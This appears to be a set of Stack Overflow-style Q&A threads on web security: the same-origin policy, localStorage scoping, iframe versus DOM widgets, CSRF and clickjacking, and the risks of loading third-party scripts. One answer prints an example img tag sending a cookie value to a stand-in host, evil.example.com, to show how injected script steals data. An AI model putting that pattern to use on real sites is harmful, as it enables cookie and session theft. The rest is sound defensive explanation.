I'm working on a credit card processing web application. The application uses HTTPS (TLS). However, the entry page (jsp) copies the credit card information from the original form to another hidden form using javascript. Does this represent any security issue above using a single form? Can a hacker alter javascript to steal data on an HTTPS connection? We do have a site certificate.
No, if a "hacker" had access to the javascript on the page they could find out the details whether you had manipulated them with javascript or not, in the same way you are.
Modifying page objects within the DOM is protected by Same Origin Policy in the browser. If you are manipulating it within the same domain only, it does not add additional risk. It would only become a problem if you were using JavaScript to send card data to domains outside of your control.
the same-origin policy is an important concept in the web application security model. The policy permits scripts running on pages originating from the same site – a combination of scheme, hostname, and port number1 – to access each other's DOM with no specific restrictions, but prevents access to DOM on different sites
Related
Is it possible to send function to the new window and get result in parent window(and after that child window should be closed).
For example I have array with URL's.
var urls = ["first.com", "second.com", "third.com"...];
and function
function parse(url){...}
then I make cycle
for(var i=0; i<=n; i++){window.open(url[i];}
How can I send "parse" and get its result?
Based on the sample code provided, and the fact that the domains are different, I'm going to assume that you don't own all of the domains that you're trying to open...
You need to do a bit of research on cross site scripting, and the implications of this type of functionality. To get you started, here's the definition of cross site scripting, found here.
Cross-Site Scripting (XSS) attacks are a type of injection, in which
malicious scripts are injected into otherwise benign and trusted web
sites. XSS attacks occur when an attacker uses a web application to
send malicious code, generally in the form of a browser side script,
to a different end user. Flaws that allow these attacks to succeed are
quite widespread and occur anywhere a web application uses input from
a user within the output it generates without validating or encoding
it.
TLDR: Simply put, if you don't own the domains, what you're trying to do is not possible client-side.
As mentioned by James Hill, this does not seem to be possible. If it helps, try web scraping to extract data from websites and process these data in functions at your own site.
There is already a chrome extension for web scraping:
https://chrome.google.com/webstore/detail/web-scraper/jnhgnonknehpejjnehehllkliplmbmhn
In HTML5, is it possible to create a localstorage that is accessible only to a single webpage?
I am currently experimenting with possibilities of writing self-contained single-page applications, and whether it is possible for users to host them themselves, e.g. on their Dropbox (which has some basic webhosting capabilities for public files) or by running a minimal webserver on localhost.
A user may then start such HTML Applications from various sources in his local server / Dropbox, or be asked to open one from another users Dropbox.
Since all these pages would be served from the same origin (currently https://dl.dropboxusercontent.com), they would all share a single localStorage, which may both interfere with the functionality if names clash, and leak data; E.g. such a page may want to store the authentication token for accessing the users Dropbox account in localStorage, but then any other such "App" would be able to steal the token.
I have to say here, that I am new to HTML5, and may very well be stretching the intended scope of usage here, as I keep running into limitations due to basic websecurity concepts like the same-origin policy – especially when opening a HTML file from a local drive through a file:// uri.
The core intent is allowing users to host their own custom apps in a manner that works across their mobile and desktop devices, by utilizing their existing webservice subscriptions for both hosting and data synchronization rather than moving their data to yet another service.
As stated here, localStorage is scoped by protocol, domain and port, nothing else.
And with this, even by prefixing each localStorage key by a unique page token (i.e. localStorage.set('page1.' + key)), it wouldn't avoid another page from getting those info, so no simple way to avoid information leak.
You can use unique page identifier (or even url) as a key for encryption of stored data. In theory.
When building a widget that is designed to be embedded on 3rd party websites, there appear to be two schools of thought as to how to do it:
Use iframes
Use the main page's DOM
When using the iframe method, cross domain requests are not a problem, as the server thinks that the request originates from its own page.
When using the main page's DOM, cross domain requests are an issue, and the server needs to respond with the appropriate CORS headers for it work.
Which of these two methods is more secure, and what security issues should be taken into account in implementing each of these methods?
You might find this post interesting - How to protect widgets from forged requests:
You don't want this [widget] to be vulnerable to CSRF so you write an iframe to the page. Based on the origin inheritance rules the parent site won't be able to read the CSRF token. However what about clickjacking (or likejacking )? Because of CSRF you must be within an iframe and there for the x-frame-options cannot help, and the same holds true for frame-busters
Negatives of IFrame approach
Vulnerable to Clickjacking / Likejacking
Negatives of DOM approach
Vulnerable to CSRF.
CORS headers on your server will be allowing access to either the whole world, or whole sites that are pre-registered with you. While this doesn't in itself present a vulnerability, care must be taken to make sure no sensitive information is made available (such as user data). There is no way to limit access to your widget only - you would be giving access to the whole Origin (i.e. protocol, domain and port).
As you are manipulating the DOM these objects would be accessible from the remainder of the page outside of your widget.
Summary
In the end it depends on the functionality of your widget. What is the consequence of the parent site automatically submitting the form or clicking a button on your widget under the context of the user? If there is a like or +1 button, the hosting page could be fraudulently promoting their site by making the like/+1 be registered with you without the user's knowledge or consent. This would apply to both approaches, only the attack method would differ (i.e. CSRF or Clickjacking).
The accepted answer on the above post has a solution for CSRF vs Clickjacking:
Clicking on the widget needs to open a pop-up window containing a new page -- an iframe is not good enough, it must be a new window -- which is entirely under the control of your web application. Confirm the action, whatever it is, on that page.
Yes, this is somewhat inelegant, but the present Web security architecture doesn't give you any better options.
In summary, the IFrame approach appears to have overall more security and implementing the popup window upon interaction mitigates the Clickjacking risk.
I heard that getting access to the text a Gmail email is very difficult if not impossible (iframes).
Are there certain areas where JavaScript is not capable of doing something?
iframes won't prevent you from accessing content. JavaScript doesn't really have any limits with regards to manipulating the DOM....it can't, however, access stuff on your computer, or be used to upload files and such. It can't read stuff inside flash files either. You don't really have any choices other than JS anyway.. what kind of road blocks are you anticipating?
Since you've chosen to use firefox-addon tag: no, getting access to Gmail text is unproblematic from an add-on. Doing the same from a regular website however isn't possible unless that website is hosted on mail.google.com. Reason is a security mechanism called same-origin policy. Websites are generally limited by the same-origin policy, add-ons are not.
Different browsers have different limitations that they impose on JavaScript as well as different APIs that they provide to JavaScript to grant it access to different forms of data. Until recently, it was not possible for JavaScript to access local files; however, there are now APIs in some browsers to do this.
There is a concept known as the "same origin" policy that is used to ensure that JavaScript running from the context of one domain or protocol cannot access data from another domain or protocol. However, browser add-ons or extensions can often exempt themselves from these restrictions. Also, some browsers provide APIs specifically for communication between different origins; however, these APIs generally require that this is done with the cooperation and permission of both origins.
From extension JS, you can access any part of Gmail. I wrote a browser extension that allowed me to forward a Gmail email to a Facebook contact. It also appeared in Facebook and allowed me to send Facebook message to Gmail contact. It was so that I didn't need to worry about adding contacts from Google to Facebook and vice versa.
That extension was easy. Once you get passed the iframe piece, it is cake. Good luck!
Why is it that when we link to a javascript file on x.com from y.com (for example google analytics or jquery) it doesn't cause any cross domain security issues?
For example:
in y.com/index.html we have:
<script type="text/javascript" src="http://x.com/jsfile.js" />
How can we know when this is ok to do and when it's not?
It has the potential to be a major security hole so you have to trust that site that is hosting the JavaScript file.
For example, that code can inject more script tags and img tags into your site that can relay sensitive data to a 3rd party.
David's comment about the Same Origin policy can be misleading. A classic way to relay data to a remote site is to insert an img tag to a remote domain:
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
If the JavaScript code on the remote host was changed to dynamically inject an img tag such as this then your site could have a security hole. There are mitigations to some of these issues such as using HTTP-only cookies, which are not accessible via JavaScript.
The example of analytics systems is a great one. You have to trust that the provider will not take any sensitive data such as your own cookies and send it to a remote location. You also need to trust the provider that their system is secure and that a hacker couldn't alter the JavaScript files on their servers. Analytics systems generally work by using these same techniques, but hopefully they use it for good and not evil. In some sense it's no different than worrying about whether your developers are writing good, secure code and whether they introduce a secret backdoor.
As to why it is allowed, it is just historical. The web was not at all designed with security in mind. Whether it's a CSRF attack, replay attacks, or XSS attacks, these are all fundamental flaws in the design of the web that now become concerns of web developers.
Where the data comes from is irrelevant, it's the scope where it's used that matters.
You are just getting the script from a different domain, it still runs in the scope of your own page so it doesn't have any access to resources in the domain from where it was loaded.
In a situation where you have cross domain issues, like an iframe containing a page from a different domain, you have two different scopes. The page in the iframe runs in the scope of the domain where it was loaded from, so it can access resources in that domain, but it can't access anything in the page that is hosting the iframe as that is a different scope.
(Note: I don't know if the term "scope" is commonly used in this context, there might be a term that better describes it.)
I don't know why we can do it. But you can prevent it from happening using Content Security Policy (CSP), a HTTP header sent by your web application that declares that it should not load JavaScript except from domains you explicitly allow.
https://en.wikipedia.org/wiki/Content_Security_Policy
http://docs.webplatform.org/wiki/tutorials/content-security-policy
https://content-security-policy.com/
https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_Content_Security_Policy